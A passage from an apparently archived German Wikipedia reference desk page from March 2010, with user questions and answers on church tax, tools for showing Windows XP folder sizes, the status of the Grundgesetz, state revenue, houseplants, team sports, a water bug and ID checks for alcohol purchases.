Wenn ein Katholischer Priester ein Kind gezeugt hat, ist er unterhaltspflichtig wie jeder Vater auch. Wenn er sich weigert das Kind anzuerkennen, muß er sich einem Vaterschaftstest - heute einfacher durch Gentest - unterziehen. Bei seinem Gehalt steht ihm dann für jedes Kind ein Kinderzuschlag zu. Die Katholische Kirche hat dazu einen (offensichtlich) inoffiziellen Geldtitel, der da zum Tragen kommt. Angeblich soll aber nur bis 4 Kinder pro Vater gezahlt werden. Das gibt es nicht öffentlich, aber ist den eingeweihten Kreisen bekannt. Zur Steuer ist zu bemerken, dass der Staat als Ausgleich für die Säkularisation/ Verlust des Vermögens nur die Mitglieder des Domkapitels (in BW) bezahlt. 70 % des Gesamtetats kommen aus der (freiwillen) Kirchensteuer, der Rest aus den anderen Einnahmen. Also mal sachte mit der Annahme, dass der Lohnsteuerzahler für diese Kinder aufkommt. Wie gesagt, die Kirchensteuer ist freiwillig, man kann austreten und das, was der Staat tatsächlich bezahlt, fällt der Allgemeinheit IMHO indirekt auch wieder zurück. Da sollte man großzügig sein und sachlich bleiben, auch wenn man das Ganze ablehnt.--91.56.212.217 15:44, 24. Mär. 2010 (CET)[Beantworten]
Von wegen freiwillig etc. ... Schau mal nach dem Thema Besonderes Kirchgeld. Wenn Du als Verehelichter ausgetreten bist, Deine Frau aber der Kirche treu bleiben will, wird sie dafür mit einer Sondersteuer bestraft (vermutlich, weil beim ehelichen Verkehr die geistlichen Segnungen der Kirche auch auf den heidnischen Partner abfärben). D.h. nominell zahlt nur das Kirchenmitglied, aber die Kirche nimmt sich ihre Beute auch vom Einkommen des Nichtmitglieds. --91.36.97.190 10:26, 25. Mär. 2010 (CET)[Beantworten]
Ganz unlogisch ist das nicht, wenn auch nicht leicht verständlich, sonst hätte schon einer dagegen beim BGH geklagt. Deine Frau will halt diesen Service haben, wenn Sie auch austritt, dann zahlt ihr auch nichts. Das ist halt Ehegattensplitting, es ist ein gemeinsames Einkommen, auch wenn es nur einer heim bringt. Aber da gibt es noch weitere solche Ungereimtheiten, ein Geschiedener zahlt sofort nach Einstufung in Steuerklasse eins die hohe Kirchensteuer eines Junggesellen, obwohl er massig Unterhalt zahlen muß. Ich bin aber froh, dass das so ist. Ich stelle mir immer vor, wie es ohne Säkularisation wäre und wie wir dann ausgenommen würden.--91.56.213.32 13:13, 25. Mär. 2010 (CET)[Beantworten]

WinXP - Ordnergröße Anzeigen?

Hallo zusammen. Kennt jemand eine Möglichkeit, sich in der Übersicht im Explorer die Größe aller Ordner, jeweils mit Unterordnern und enthaltenen Dateien, anzeigen zu lassen? Rechtsklick und "Eigenschaften" geht einwandfrei, ich würd aber gerne alle auf einmal sehen, Zwecks Ausmisten meiner Festplatte. Das Feld für die Größe ist aber bei Ordnern leider leer. Danke und Gruß, Wiebelfrotzer 23:58, 23. Mär. 2010 (CET)[Beantworten]

Ist zwar nicht direkt was du suchst, aber das Freeware-Tool könnte die sehr nützlich sein: Sequoia View (siehe hier: [13] ). Das scannt deine Festplatte und zeigt dir, in Form von unterschiedlicher großen Blöcken, welche Dateien am meisten Platz einnehmen. Da hat man alle "Platzverbraucher", vor allem die größeren, auf einen Blick... --84.146.204.142 00:04, 24. Mär. 2010 (CET)[Beantworten]
Zu dem Zweck verwend ich das Programm WinDirStat, das ebenfalls Freeware (GPL) ist. Aber ich kenn auch ein Plug-in, das im Explorer beid er Detailansicht es möglich macht, mit "Details Auswählen" die Spalten "Ordnergröße", "Anzahl Dateien", "Anzahl Ordner" sowie "Anzahl Objekte" anzuzeigen. Dieses Plug-in heißt FolderSize und ist ebefalls Freeware. --MrBurns
Es gibt glaube ich auch ein Programm namens Treesize. Habe ich vor Jahren mal mit Gewinn benutzt. --Wolli 08:25, 24. Mär. 2010 (CET)[Beantworten]
Ja, aber das ist leider keine Freeware und nur eine beschränkte Zeit nutzbar. --MrBurns 08:27, 24. Mär. 2010 (CET)[Beantworten]
Geht auch über das gute alte DOS:
Programme - Zubehör - Eingabeaufforderung:
dir *.* /s |more
Jede Datei wird mit Größe angezeigt, ebenso jeder Ordner Gruß -- Dr.cueppers - Disk. 12:53, 24. Mär. 2010 (CET)[Beantworten]
Nachtrag: Noch günstiger ist es, sich diese Daten nicht nur anzeigen zu lassen, sondern "als Text-Datei" mit beliebigem Namen abzuspeichern, zum Beispiel in einer Datei mit dem Namen "alles.txt"
dir *.* /s >alles.txt
Das dauert ein paar Minuten. Beide Methoden funktionieren übrigens in sämtlichen WINDOWs-Versionen und kosten keinen Cent. Gruß -- Dr.cueppers - Disk. 13:21, 24. Mär. 2010 (CET)[Beantworten]
Dank' Euch allen, Foldersize ist für meine Zwecke optimal. Gruß, --Wiebelfrotzer 15:23, 24. Mär. 2010 (CET)[Beantworten]

24. März 2010

Wieso gibt sich das deutsche Volk keine richtige Verfassung?

Im Artikel §146 des GG heißt es, dass das Grundgesetz an dem Tag seine Gültigkeit verliert, an dem eine "Verfassung in Kraft tritt, die von dem deutsche Volke in freier Entscheidung beschlossen wird." Ist es, soviele Jahre nach der Wiedervereinigung, nicht mal soweit? Oder hätte das irgendwelche Konsequenzen (ich hab da noch vage Erinnerungen an Verträge aus dem Zweiten Weltkrieg im Kopf...) --84.146.191.164 00:41, 24. Mär. 2010 (CET)[Beantworten]

Siehe Grundgesetz#Geltungsdauer --08-15 00:56, 24. Mär. 2010 (CET)[Beantworten]
BK:
Das kann's nicht sein, die BuReDeu hat ihre internationalen Verpflichtungen immer schön eingehalten, Uraltschulden abgezahlt et c. Und eine richtige Verfassung ist das Grundgesetz schon, das nicht zu Unrecht in manchen Gegenden der Welt als Vorbild diente. Aber sicherlich wäre die Vereinigung besser in den Köpfen angekommen, wenn man - notfalls auch zwei drei Jahre später - gesagt hätte Nun tragen wir mal der Tatsache Rechnung, dass Deutschland ein Ganzes geworden ist und auch aller Voraussicht nach nicht weiter wachsen wird und machen eine neue Verfassung (obschon die zu 95% mit der alten übereingestimmt hätte).
Aber hey, jetzt ist das nicht mehr aktuell. Wir brauchen dringend eine richtige Verfassung für die Union und eine Vereinheitlichung aller Vorschriften, die den Bürger betreffen, von Wohnsitzfragen über Schulabschlüsse, von der Kraftfahrzeugsteuer bis zum Unterhaltsrecht. Das ist wichtig. Die alten Nationalstaaten gehören in die Geschichtsbücher (die man aber auch lesen sollte!). BerlinerSchule. 00:56, 24. Mär. 2010 (CET)[Beantworten]
Warte mal ab. Solche Versuche, unterschiedliche Völker unter ein scheinbar gemeinsames Dach zusammenzuzwängen sind schon oft genug gescheitert. Der Blödsinn wird genauso scheitern, hoffentlich möglichst bald: Je früher, desto unblutiger lässt sich das nämlich wieder auseinanderklabüstern. PS: Am besten noch bevor die unser Brot versauen ;-) --93.129.170.113 02:22, 24. Mär. 2010 (CET)[Beantworten]
Ganz unrecht hast Du nicht. Ich wunder' mich auch schon seit Jänner 1871 darüber, dass nun Preußen, Bayern und sogar Sachsen alle unter dem seltsamen Namen "Deutsche" zusammengelegt werden sollen. Dagegen geht (im Vergleich) die (nun aber auch überfällige) Abschaffung der alten Kleinstaaten innerhalb der europäischen Nation schnell und problemlos. Die Grenzen waren ohnehin genauso zufällig und arbiträr wie das ganze Völkergetue und Nationalgerassel. Etwas Abstand braucht man, aber den hat man heute; schon aus zehn oder elf Kilometern Abstand - das schafft jeder Billigflieger - sind beim besten Willen keine Grenzen zu erkennen. Und selbst der Mauerstreifen wächst langsam zu - da war bis vor kurzem eine ebenso unüberwindbare wie ewige Grenze. BerlinerSchule. 03:11, 24. Mär. 2010 (CET)[Beantworten]
Wie du sicher weißt, war es unter anderem die gemeinsame Sprache, die die Deutschen verbunden hatte. Und die deutsche Vereinigung war auch keine, die wie die europäische so völlig auf bürokratischer Ebene am Interesse der Menschen komplett vorbeilief. Die ehemaligen nationalen Staatsgrenzen sollte man lieber sauber und gemeinsam dokumentieren, dann braucht man diese mit etwas Glück vielleicht nicht an allen Sprachgrenzen neu auszufechten, wenn die ersten "Unabhängigkeitserklärungen" erfolgen und diese künstliche Veranstaltung "EU" auseinanderfällt. Ein unnatürliches Konstrukt, um das sich heute die meisten "EU-Bürger" noch bestenfalls überhaupt nicht scheren - sofern sie es nicht heute schon verachten. --93.129.67.230 04:33, 24. Mär. 2010 (CET)[Beantworten]
Hältst Du denn die Schweiz mit ihren Sprachgrenzen auch für ein unnatürliches Konstrukt? --Zinnmann d 08:32, 24. Mär. 2010 (CET)[Beantworten]
Ist zwar hier offtopic, aber trotzdem: dass ich im größten Teil Europas frei herumreisen kann, ohne von irgendwelchen blöden Grenzern kontrolliert zu werden, mit demselben Geld bezahlen kann, ohne Umtauschgebühren abdrücken zu müssen, ein verbrieftes Recht auf Niederlassung und Berufsausübung habe und vor allem nicht mehr mit der realistischen Möglichkeit eines Krieges in Mitteleuropa rechnen muss -- das alles geht durchaus nicht an meinen Interessen vorbei, ganz im Gegenteil. Dafür nehme ich gern ein bisschen bürokratischen Wahnsinn in Kauf (den unsere nationalen Behörden übrigens in gleicher Qualität zu fabrizieren wissen). --Jossi 10:50, 24. Mär. 2010 (CET)[Beantworten]
(BK) Seit 1990 gibt es eine "richtige Verfassung" namens "Grundgesetz". Siehe Grundgesetz_für_die_Bundesrepublik_Deutschland#Geltungsdauer: "Es ist nur scheinbar ein Widerspruch, dass diese gesamtdeutsche Verfassung weiterhin die Bezeichnung „Grundgesetz“ trägt. Das Grundgesetz erfüllt nicht nur alle Funktionen einer Verfassung und hat sich bereits im Laufe der Geschichte der Bundesrepublik als solche gefestigt, sondern wird auch den Legitimitätsanforderungen an eine Verfassung gerecht." Joyborg 01:04, 24. Mär. 2010 (CET)[Beantworten]
Meines Wissens ist eine Verfassung erst dann eine Verfassung, wenn sie vom Volk (selbst oder von einer vom Volk gewählten Versammlung) legitimiert ist. So eine Abstimmung steht noch aus, oder irre ich mich? --84.146.191.164 01:15, 24. Mär. 2010 (CET)[Beantworten]
Was spricht dagegen, den Bundestag als vom Volk gewählte Versammlung zu betrachten? --20% 01:25, 24. Mär. 2010 (CET)[Beantworten]
Wer bezweifelt das? Du hast scheinbar nicht begriffen, um was es geht oder nur einen Teil der Diskussion gelesen. Ich rede über eine Abstimmung über das Grundgesetz durch das Volk oder seine Repräsentanten. --84.146.191.164 01:28, 24. Mär. 2010 (CET)[Beantworten]
Rate mal, wer über Grundgesetzänderungen abstimmt. --20% 01:30, 24. Mär. 2010 (CET)[Beantworten]
Was soll ich sagen? Touché? Wie gesagt, ich rede davon dass - meines Wissens - eine Annahme des GG durch das Volk (Volksabstimmung) oder seine Repräsentanten (Bundestagsabstimmung) bis dato nicht stattgefunden hat. Der Beitrag von BerlinerSchule war bis jetzt der nützlichste bzw. interessanteste. --84.146.191.164 01:34, 24. Mär. 2010 (CET)[Beantworten]

Berliner Schule (und andere) haben doch schon geantwortet. Wir habe eine Verfassung und diese Verfassung heißt Grundgesetz. Natürlich kann das Volk jederzeit beschließen, sich eine neue Verfassung zu geben, aber warum sollte es? Das Grundgesetz funktioniert doch. Und daher würde es sicherlich bei einer Abstimmung einfach "wiedergewählt". Was willst du denn noch? --88.70.92.163 02:03, 24. Mär. 2010 (CET)[Beantworten]

Das Grundgesetz ist seinerzeit von den Länderparlamenten, also den gewählten Repräsentanten des Volkes, ratifiziert worden. Der Bundestag konnte darüber schon deshalb nicht abstimmen, weil er durch das Grundgesetz erst geschaffen wurde, und eine Volksabstimmmung war nicht möglich, weil es gar keine gesamtstaatliche Autorität gab, die diese hätte anordnen können -- der Staat "Bundesrepublik Deutschland" wurde nämlich ebenfalls erst durch das Grundgesetz geschaffen. Wenn ich mir im Übrigen so anschaue, dass seitdem die meisten Grundgesetzänderungen eher Verschlechterungen waren und jede Menge bürgerfeindliche Gesetze vom BVerfGer nur auf der Grundlage des Grundrechtskatalogs von 1949 zurückgepfiffen werden konnten, glaube ich nicht, dass wir heute eine bessere Verfassung kriegen würden. --Jossi 10:56, 24. Mär. 2010 (CET)[Beantworten]

Das es nach der Wiedervereinigung keine Verfassung und Volksabstimmung gab liegt daran dass es sich rechtlich um einen Anschluss nach Artikel 23 handelte und nicht um eine Widervereinigung nach Artikel 146. Genau so eine Verfassung und Volksabstimmung wollte man damals wohl verhindern. So ähnlich hat es zumindest mal Wolfgang Schäuble in einem Interview erklärt. --Ixitixel 11:21, 24. Mär. 2010 (CET)[Beantworten]

War jetzt „Widervereinigung“ ein Tippfehler, ein Freudscher oder augenzwinkernde Absicht? ;-) --Geri 12:36, 24. Mär. 2010 (CET)[Beantworten]
Es hat Anfang der 1990er Jahre AFAIR sogar eine "Verfassungskomission" (soweit ich mich erinnere unter dem Vorsitz von Rupert Scholz) gegeben, die die Aufgabe hatte, den Entwurf für eine neue Verfassung i.S. von §146 auszuarbeiten. Die hatten gute Ideen (u.a. auch plebiszitäte Elemente), ist aber im Sande verlaufen (bzw. wurde wohl von Kohl quasi auf Abstellgleis verschoben). --HyDi Sag's mir! 14:04, 24. Mär. 2010 (CET)[Beantworten]
Ein Tipp0, aber ein lustiger geb ich zu. --Ixitixel 13:37, 24. Mär. 2010 (CET)[Beantworten]

@Fragesteller: Nein, eine Verfassung muss nicht vom Volk abgesegnet werden. Würde sie das, hätte man eine direkt demokratisch legitimierte Verfassung. Wurde sie wie das Grundgesetz durch Repräsentanten des Volkes verabschiedet, hat man eine indirekt demokratisch legitimierte Verfassung. Selbst wenn die Verfassung nur von einer oder wenigen Personen in Kraft gesetzt wurde, ist es eine Verfassung, die Geltung beansprucht, siehe zB. die Verfassung der Vatikanstadt. Es ist ein Irrglaube, dass eine Verfassung nur besteht, wenn sie vom Volk "gutgeheißen" wurde, im Sinne der Demokratie allerdings ein guter, wie ich finde. :) --78.54.34.83 18:01, 24. Mär. 2010 (CET)[Beantworten]

Das Grundgesetz IST unsere Verfassung, nur das sie nicht so heißt. Zu Zeiten der Verabschiedung des Grundgesetzes war Deutschland geteilt (in Wset-, Ost- und diverse polnische und sowjetische Mandatsgebiete). Damals hat man absichtlich vermieden, die deutsche (westdeutsche) Verfassung auch so zu nennen, da (West-)Deutschland ja den Alleinvertretungsanspruch für Gesamtdeutschland erhob. Auch nach der Wiedervereinigung hat sich daran nicht viel geändert (die Wiedervereinigung war ja weder eine Wiedervereinigung, noch eine Vereinigung, sondern eher ein Beitritt der DDR zur BRD). Gut 1/4 des ehemaligen Gesamtdeutschlands "fehlen" ja immer noch (grob gesagt: Ostpreußen, Pommern und Schlesien), darauf hat das "neue" Deutschland nämlich bei der "Wiedervereinigung" verzichtet. Muß nun also ein riesiger Prozeß (Verabschiedung durch das Volk) angestrengt werden, nur um eine Namensänderung durchzuführen? Wie gesagt, wir haben eine richtige Verfassung, nur heißt sie anders. --Ch.Weg 00:35, 25. Mär. 2010 (CET)[Beantworten]

Wieso gibt sich das deutsche Volk keine richtige Verfassung? - tja , Guute Frage, gibt es überhaupt ein deutsches Volk, oder einer Verfassung welche man als Verfassung der gesunden Spezies teilhaftig sein kann seit Stailingrad, NEIN<-Kursiver Text;-) kommt ganz darauf an in welcher Verfassung sich die Deutschen befinden Aber das wird schon - Keine Panik--188.23.186.0 23:49, 25. Mär. 2010 (CET)[Beantworten]

Sind Steuern die einzige Einkommesquelle des dt. Staates?

Hat die BRD irgendwelchen anderen Geldquellen? Die katholische Kirche beispielsweise finanziert sich ja auch nicht komplett über die Kirchensteuer, sondern verpachtet z.B. Gründstücke usw. --84.146.191.164 00:52, 24. Mär. 2010 (CET)[Beantworten]

Nicht alle Pflichtzahlungen sind Steuern, siehe Abgabe. Daneben betreibt der Bund auch wirtschaftliche Aktivitäten, siehe Bundesanstalt für Immobilienaufgaben, Verwertungsunternehmen des Bundes u.a. --20% 00:57, 24. Mär. 2010 (CET)[Beantworten]
Siehe z.B. http://www.bundesfinanzministerium.de/bundeshaushalt2008/html/vsp2i-d.html --08-15 00:58, 24. Mär. 2010 (CET)#[Beantworten]
Achso. Der Link selbst ist zwar nicht besonders hilfreich da dort kryptisch von "Verwaltungseinnahmen" und "Übrige Einnahmen" die Rede ist, aber auf der Seite findet sich was erhellendes: Siehe E, wie Einnahmen. Da ist von Einnahmen aus Veranstaltungen, Erlöse aus der Veräußerung von unbeweglichen Sachen etc. die Rede... --84.146.191.164 01:04, 24. Mär. 2010 (CET)[Beantworten]
...und wird wohl IP 84.146.191.164 noch in weitere Fragen verpacken, dass er die Kirche scheiße findet? --Eike 01:07, 24. Mär. 2010 (CET)[Beantworten]
@Eike: ::Da muss ich grinsen, ich wusste dass das kommt. Nein, ich hab mich etwas in die Finanzierung von Kirchen vertieft, und das sind Nebenfragen, die dabei aufgekommen sind. Aber danke für sehr taktvoll formulierten Vorwurf ;) --84.146.191.164 01:12, 24. Mär. 2010 (CET)[Beantworten]
Für deine weitere Recherche spendiere ich einen Link zu einem Kirchenfinanzierungsfachforum: [14]. ;-) Joyborg 01:24, 24. Mär. 2010 (CET)[Beantworten]
Ähm danke, aber von meinen drei Fragen berührt gerademal eine dieses Thema. Die zwei anderen befassen sich mit der Verfassung bzw. den Einnahmen des Staates. --84.146.191.164 01:36, 24. Mär. 2010 (CET)[Beantworten]
Zurück zu den Einnahmen des Staates:
Sollten mal wirklich gegen Ende des Geldes noch ein paar Monate übrig sein, dann kann man immer noch was borgen gehen.
Wichtig ist dabei nur: Nie anderen etwas borgen, immer von anderen borgen. Was für einen Unterschied doch so ein kleines von machen kann... BerlinerSchule. 01:11, 24. Mär. 2010 (CET)[Beantworten]
Knöllchen als Einnahmequelle nicht vergessen und die Gebühren, die man für jedes Papierchen bezahlen muß. Zollgebühren, die allerdings nach Brüssel gehen. Lkw-Maut ist auch nicht zu verachten, wie auch die Gewinne der Bahn und Bundesbank.--91.56.204.158 07:59, 24. Mär. 2010 (CET)[Beantworten]

Durschnittliches Einkommen in Indonesien

Verstehe ich das richtig, dass im Artikel unter Wirrtschaftskennzahlen beschrieben wird, dass das durchschnittliche Einkommen eines Indonesiers in 2004 bei 1.146,00 US$ jährlich lag (ich komme immer wieder mit den Kommas nicht zurecht). Kann jemand eine aktuellere Zahl nennen? --Ian DuryHit me 11:38, 24. Mär. 2010 (CET)[Beantworten]

Ja, das soll der BIP/Einwohner sein. Allerdings steht unter Indonesien#Wirtschaft etwas von 3.500 US$ (auch im Jahr 2004). Hm... --Pilettes 13:40, 24. Mär. 2010 (CET)[Beantworten]
Das CIA World Factbook zeigt das BIP bei Kaufkraftparität. Deswegen der höhere Wert. --88.70.87.31 15:14, 24. Mär. 2010 (CET)[Beantworten]

Wer kennt diese Zimmerpflanzen

Hallo,

Ich habe mir heute Morgen 3 Zimmerpflanzen gekauft. Leider habe ich keine Ahnung, was das denn für Pflanzen sind. Im Baumarkt wussten die Mitarbeiter leider auch nichts, da ich recht früh da war und die Kollegin, die sich da sehr gut auskennt, noch nicht da war.

Wäre toll, wenn mir jemand die Namen sagen könnte..... dann könnte ich per Google mal suchen, wie oft man gießen und düngen muss.

Es handelt sich um diese 3 Pflanzen:

--Einer aus Finthen 12:03, 24. Mär. 2010 (CET)[Beantworten]

  • Pflanze 1: Dracaena (Drachenbaum)
  • Pflanze 2: Schefflera
  • Pflanze 3: Ne ganz junge Kokospalme oder Chamaedorea.

LG;-- Nephiliskos 12:18, 24. Mär. 2010 (CET)[Beantworten]

Wow, das ging ja schnell. Wollte gerade vorschlagen, sich da: Kategorie:Zierpflanze umzuschauen. --Sr. F 12:19, 24. Mär. 2010 (CET)[Beantworten]

Hallo, Vielen Dank für diese schnelle Antwort. --Einer aus Finthen 12:20, 24. Mär. 2010 (CET)[Beantworten]

Gern geschehen. *hofknicks* ;-) LG;-- Nephiliskos 12:21, 24. Mär. 2010 (CET)[Beantworten]
was ist denn diesse Plastikteil auf Bild 2? --Aalfons 16:15, 24. Mär. 2010 (CET)[Beantworten]
das sollte ein elektro-steinofen sein. --kulacFragen? 16:25, 24. Mär. 2010 (CET)[Beantworten]
übrigens die Pflanze zwei kriegt sehr schnell Schildplattläuse die, einmal da, nicht mehr wegzubekommen sind; am besten vorbeugend Kaffesatz auf die Erde kippen. --62.143.74.253 16:35, 24. Mär. 2010 (CET)[Beantworten]
Ein Elektro-Steinofen aus Plastik? Erstaunlich. --Aalfons 16:38, 24. Mär. 2010 (CET)[Beantworten]
http://www.amazon.de/elta-PO100-Elta-Pizza-Ofen/dp/B000N1Y3WW --Vsop 16:51, 24. Mär. 2010 (CET)[Beantworten]
boah, sieht das Teil scheiße aus. Aber kann man wohl die Blattläuse drin rösten. --Aalfons 18:07, 24. Mär. 2010 (CET)[Beantworten]
Auch wenn der Ofen hässlich ist: Die Pizza daraus ist echt gut :-) --Einer aus Finthen 21:52, 24. Mär. 2010 (CET)[Beantworten]

extremistische Straftaten - Übersicht?

Ich lese gerade in der Zeitung, die Zahl extremistischer Straftaten sei auf Höchststand. Mich interessiert dabei mehr, was da so alles zusammenkommt - Gibt es eine möglichst detaillierte Übersicht omline? --90.128.126.4 12:50, 24. Mär. 2010 (CET)[Beantworten]

Hier zunächst mal die vollständige Meldung des Bundesministeriums des Innern. --217.162.118.38 15:02, 24. Mär. 2010 (CET)[Beantworten]

Mannschaftssport

Gibt es eine Mannschaftssportart (außer z.B. Staffelläufen), bei der drei oder mehr Teams gleichzeitig gegeneinander antreten? --smial 13:02, 24. Mär. 2010 (CET)[Beantworten]

Jede Menge (je nach Verständnis von "Mannschaft"). Spontan fallen mir z.B. Mannschaftsboote beim Kanurennsport, Rudern, Drachenboot, Bobsport ein. Auf einem Spielfeld gegeneinander wüsste ich aber uach nicht. --HyDi Sag's mir! 13:16, 24. Mär. 2010 (CET)[Beantworten]
Bob fährt man aber möglichst nicht gleichzeitig. :o) --Eike 13:19, 24. Mär. 2010 (CET)[Beantworten]
Cool, 3 Bobs gleichzeitig in der Bahn ;-)... Die Mounted Games, Tour de France (ist das noch Sport?), Formel 1 ... und gibt es nicht auch "Mannschaftsschiessen" wo jeweils einer von jeder Mannschaft gleichzeitig mit allen anderen in einem bestimmten Zeitintervall schiessen muss? <schwachsinn>Dann in Italien diese prestigegeladenen historischen Stadtquartier-Pferderennen, Einzelreiter!</schwachsinn>... G! GG nil nisi bene 13:26, 24. Mär. 2010 (CET)[Beantworten]
Bowling --Schaffnerlos 13:28, 24. Mär. 2010 (CET)[Beantworten]
Formel 1 oder Radrennen würd ich nicht als Mannschaftssportarten sehen. der Fahrer fährt zwar für ein team, aber er wird einzeln gewertet, eine Teamwertung ist entweder gbei den Einzelrennen garnicht vorhanden (so ist es bei der F1) oder hat eine untergeordneete Bedeutung. --MrBurns 13:40, 24. Mär. 2010 (CET)[Beantworten]
Es gibt Radrennen da wird das Team gewertet und fährt auch zusammen (gleichzeitig) auf der Strecke. Man schaue sich nur mal einige Arten unter Bahnradsport an, Tandem, Team-Sprint, etc.... --88.130.185.126 14:09, 24. Mär. 2010 (CET)[Beantworten]
Ja, das sieht doch durchaus nach Team aus. --Eike 16:46, 24. Mär. 2010 (CET)[Beantworten]
@MrBurns: Ich denke schon, daß die 1958 eingeführte Konstrukteurs-Wertung (Formel 1) eine Bewertung des Teams ist und für die Rennställe auch eine (nicht nur monetäre) Bedeutung hat. Leider finde ich bei uns trotz Durchsicht der Kategorie:Formel 1 nichts genaueres außer einer Liste der Konstrukteurs-Weltmeistertitel im Artikel Formel-1-Statistik. Habe ich etwas übersehen? Zumindest die Preisgelder für eine gewonnene Weltmeisterschaft und die vorderen Plätze wären doch relevant... --84.191.38.226 16:21, 24. Mär. 2010 (CET)[Beantworten]
@MrBurns: Abgesehen davon, daß ein potentieller Sieger der Tour de France (oder auch anderer großer Rennen) immer auf Gedeih und Verderb von der Leistung seiner Mannschaft abhängig ist, ist bei der Tour seit 1930 auch eine Mannschaftswertung (Tour de France) eingeführt. Warum bloß? Und haben denn dabei (neben dem Werbeeffekt) die 50.000 € für den Gesamtsieg tatsächlich eine, wie Du schreibst, „untergeordneete Bedeutung“? --84.191.38.226 16:41, 24. Mär. 2010 (CET)[Beantworten]
@F1: deshalb schrieb ich ja, dass es bei den Einzelrennen keine Teamwertung gibt. Der Einzelweltmeistertitel ist den Teams aber trotzdem noch wichtiger als der Konstrukteurstitel.
@TdF: Wenn man das Preisgeld mit den 400.000€ für das gelbe Trikot vergleicht sieht man schon, dass die Mannschaftswertung viel weniger Bedeutung hat. --MrBurns 18:25, 25. Mär. 2010 (CET)[Beantworten]
Ok, ungenau gefragt. Mannschaftswertungen bei Einzelsportarten haben wir nun, aber das hatte ich nicht gemeint :-) -- smial 16:52, 24. Mär. 2010 (CET)[Beantworten]

Scheint kein Arsch zu spielen, gibts aber wohl: Dreiseitiger Fußball--83.135.91.111 16:56, 24. Mär. 2010 (CET)[Beantworten]

Ach so. Vielleicht bei einer Rallye, wenn Fahrer und Beifahrer als Mannschaft angesehen werden können? (Eindeutiger dann bei einer Langstrecken-Rallye wie Rallye Dakar, wo außer bei den Privatiers auch noch ein technisches Team mit im Spiel ist.) Aber ich ahne, daß das immernoch nicht Deine Frage trifft. Mannschaftssport heißt halt, daß sich Mannschaften vergleichen. Da wird es dann ab einem bestimmten Punkt unübersichtlich, z.B. bei einem Spiel zwischen vier Polomannschaften gleichzeitig über Kreuz auf einem quadratischen Spielfeld (Marktlücke?). Schon Dreierschach, das auf Commons zwar ein Bild, aber keinen Artikel bei uns hat und noch nicht mal mit der Volltext-Suche ein Ergebnis bringt, obwohl es angeblich schon in den 1970ern erfunden wurde [15], hat es ja schwer, sich in dieser oder der anderen Variante durchzusetzen. Hier kennt man es jedenfalls noch nicht... --84.191.38.226 17:34, 24. Mär. 2010 (CET) p.s. Falls aber Fahrer und Beifahrer als Mannschaft angesehen werden können, schalten wir sofort um zum Tanzturnier. --84.191.38.226 17:41, 24. Mär. 2010 (CET)[Beantworten]

Beim Segeln das Fleet Race wird auch bei Olympia betrieben und der Großvater des Biathlon, die Militärpatrouille. Wird heute noch als Skibergsteigewegkampf meist ohne Schießen betrieben. Kragenfaul- 17:37, 24. Mär. 2010 (CET)[Beantworten]

Bingo! Segelregatta ist prima und ohne jedes wenn und aber. --84.191.38.226 17:41, 24. Mär. 2010 (CET)[Beantworten]
Fällt vielleicht nicht ganz unter Sport, aber bei der deutschen Mannschaftsmeisterschaft im Brettspiel treten bis zu 20 Teams aus je vier Spielern gegeneinander an, und zwar immer je ein Vertreter aus 4 Teams an einem Tisch, an insgesamt eben bis zu 20 Tischen. --Erastophanes 16:51, 25. Mär. 2010 (CET)[Beantworten]

Schwimmwanze Ilyocoris cimicoides

Ich habe in verschiedenen (auch aktuellen) Büchern gelesen, dass die Schwimmwanze Ilyocoris cimicoides zwar ausgebildete Flügel hat, aber aufgrund zurückgebildeter Flugmuskeln flugunfähig ist. Nun habe ich vor wenigen Tagen selbst eine schmerzhafte Begegnung mit dem Tier, nämlich als ich es aus der Luft heraus (!) in die hand nehmen wollte. Die Wanze flog in der Nähe eines Kleinstgewässers unter meiner Beobachtung etwa 12 Meter weit in einer Höhe von ca. 150 cm und langsam aufsteigend.

Gibt es irgendwelche Veröffentlichungen in denen der Flug dieser Wanze beschrieben ist oder handelt es sich dabei um eine noch nicht dokumentierte Verhaltensweise? --85.176.27.9 13:49, 24. Mär. 2010 (CET)[Beantworten]

Bist du denn ganz sicher, dass es genau diese Art war? Könnte es ein Gelbrandkäfer gewesen sein? In unserem Artikel steht (noch) nichts davon, dass die Schwimmwanze flugunfähig ist, in meinem Parey aber schon. Es sind dort aber auch noch andere ähnliche Wanzen drin, die am Ufer leben und durchaus fliegen können, z.B. Ochterus marginatus. --Sr. F 13:54, 24. Mär. 2010 (CET)[Beantworten]
Eine Schwimmwanze war es 100%ig. Man konnte die großen Augen und die gekrümmten Vorderbeine erkennen, es hatte im Ruhezustand sich überlappende Flügel mit durchsichtigem Feld an den Spitzen. Außerdem hat das Tier in der Sonne grün aufgeblitzt. Das Bestimmungsbuch von Parey hab ich auch. --85.176.27.9 14:02, 24. Mär. 2010 (CET)[Beantworten]
Ochterus marginatus war es ganz sicher nicht, es war schon eine Schwimmwanze. --85.176.27.9 14:06, 24. Mär. 2010 (CET)[Beantworten]

Alkohol ab 18, wie sich ausweisen?

Was wenn man den Personalausweis nicht hat? Egal welcher Grund. Das Gesetz sagt meiner Meinung, "Alkohol ab 18 Jahren" und bezieht sich nicht direkt auf den Ausweis. Geht der Führerschein als Alternative nicht? (Das war die Erfahrung.) Geht es wirklich nur um Kulanz? Entweder der Inhaber/Verkäufer ist gut oder schlecht drauf? Verpflichtet ist ein Laden eh nie, etwas zu verkaufen oder? Also kann Rewe/Edeka/Lidl mir auch, nach Laune, sagen, "nein an dich verkaufen wir nicht"? Grüße --WissensDürster 15:16, 24. Mär. 2010 (CET)[Beantworten]

Meines Wissens nach: ja. Niemand muss an dich verkaufen wenn er nicht will. Und ob sie einen Personalausweis, einen Führerschein, einen handgeschriebenen Zettel oder erst gar nichts annehmen ist ganz alleine deren Entscheidung. -- Dulciamus ??@??+/- 15:42, 24. Mär. 2010 (CET)[Beantworten]
Und wie üblich ist eine Begründung ala "Führerschein akzeptieren wir nicht - ist eher zu fälschen/fälschungsanfälliger" ?! Eigentlich können grad größere Supermarkt-ketten sich sowas nicht leisten oder? Da erlebt man eher immer, dass auch ohne ganz zu fragen an Minderjährige verkauft wird ... hm --WissensDürster 15:49, 24. Mär. 2010 (CET)[Beantworten]
